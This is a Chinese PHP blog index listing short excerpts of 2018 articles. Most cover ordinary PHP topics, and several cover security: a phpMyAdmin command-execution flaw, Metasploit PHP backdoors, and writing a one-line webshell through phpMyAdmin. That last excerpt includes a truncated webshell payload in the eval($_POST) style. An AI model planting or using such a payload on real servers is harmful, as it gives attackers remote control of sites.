php 怎么创建session？php创建session的方法实例详解

添加日期：2018-10-16 11:47:08　发布：smiling　

本文实例讲述了php创建session的方法。分享给大家供大家参考。具体分析如下：保存session只需要两个步骤，开启session和保存session数据。默认情况下，session保存在服务器端 c: windows temp文件 ...

PHP中SESSION反序列化机制详解

添加日期：2018-10-16 11:32:48　发布：smiling　

简介:在php ini中存在三项配置项：session save_path="" --设置session的存储路径session save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据 ...

php preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞

添加日期：2018-10-15 10:01:39　发布：smiling　

这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞，漏洞在exploit-db上有利用脚本，经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。0x ...

metasploit调用nexpose扫描学习笔记

添加日期：2018-10-15 09:43:46　发布：smiling　

nexpose安装在虚拟机中比较麻烦，所以直接安装到物理机上，kali安装在虚拟机中，执行扫描命令如下：首先确定是否连接数据库：msf > db_status[*] postgresql connected to msf3确认后msf > ...

metasploit框架PHP反向后门建立教程

添加日期：2018-10-15 09:34:27　发布：smiling　

Metasploit简介灰帽黑客(第3版) Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H D ...

php中Multipart/form-data漏洞补丁修复

添加日期：2018-10-13 14:50:21　发布：smiling　

今天在乌云上看到PHP multipart form-data 远程DOS漏洞,马上给同事联系了下对线上服务器进行打补丁,先给一个centos编译安装nginx+php-fpm+mysql的教程,如果是根据我这样安装的话,那你们可以继续 ...

phpmyadmin写入一句话木马的测试

添加日期：2018-10-13 14:27:14　发布：smiling　

方法一，一句话木马偶尔拿到一个config中，发现是root，且还有phpmyadmin。好吧，试试:<ahref=" " tags php select ""target=" "_blank "">select< a>& 39;<?php@eval($_POST[-77]);?>& 39;INTOOU ...

PHP调用linux外部命令的例子

添加日期：2018-10-13 14:21:39　发布：smiling　

相信大家或多或少都用过AMH，Vestacp等vps面板，这些面板都是使用的php语言，从本质上来说就是php执行linux的外部命令。PHP 为执行外部命令提供大量函数，其中包括 shell_exec()、exec()、passth ...

php中html_entity_decode实现HTML实体转义

添加日期：2018-10-11 14:21:53　发布：smiling　

最近遇到一个问题，数据中包含中文引号，结果被转义存储到数据库，取数据的时候用了htmlspecialchars_decode把实体转义回去，结果发现并没有生效，看了一下htmlspecialchars_decode只支持5个指定的 ...

thinkPHP5框架中widget的功能与用法详解

添加日期：2018-10-11 14:19:12　发布：smiling　

本文实例讲述了thinkPHP5框架中widget的功能与用法。分享给大家供大家参考，具体如下：注意：使用助手函数return view()渲染，则挂件功能会失败，必须使用return $this->fetch()我们在使用模板的 ...

PHP提示Class SoapClient not found错误怎么办

添加日期：2018-10-10 22:46:16　发布：smiling　

要用到 SoapClient, new 了一个提示 Class &lsquo;SoapClient& 39; not found, 检查了下 phpinfo, 原因是当初没有编译这个扩展, 只好现在再加上了。php在调用webservice时，报告如下类 ...

php单元测试phpunit入门实例教程

添加日期：2018-10-10 22:23:11　发布：smiling　

这篇文章提供了一些phpunit官方教程没有提到的信息，帮助初学者快速了解php单元测试，在phpunit官网提供了详细的中文教程，可选多种格式下载 phpunit官网地址：https: phpunit de 何为单元测试： ...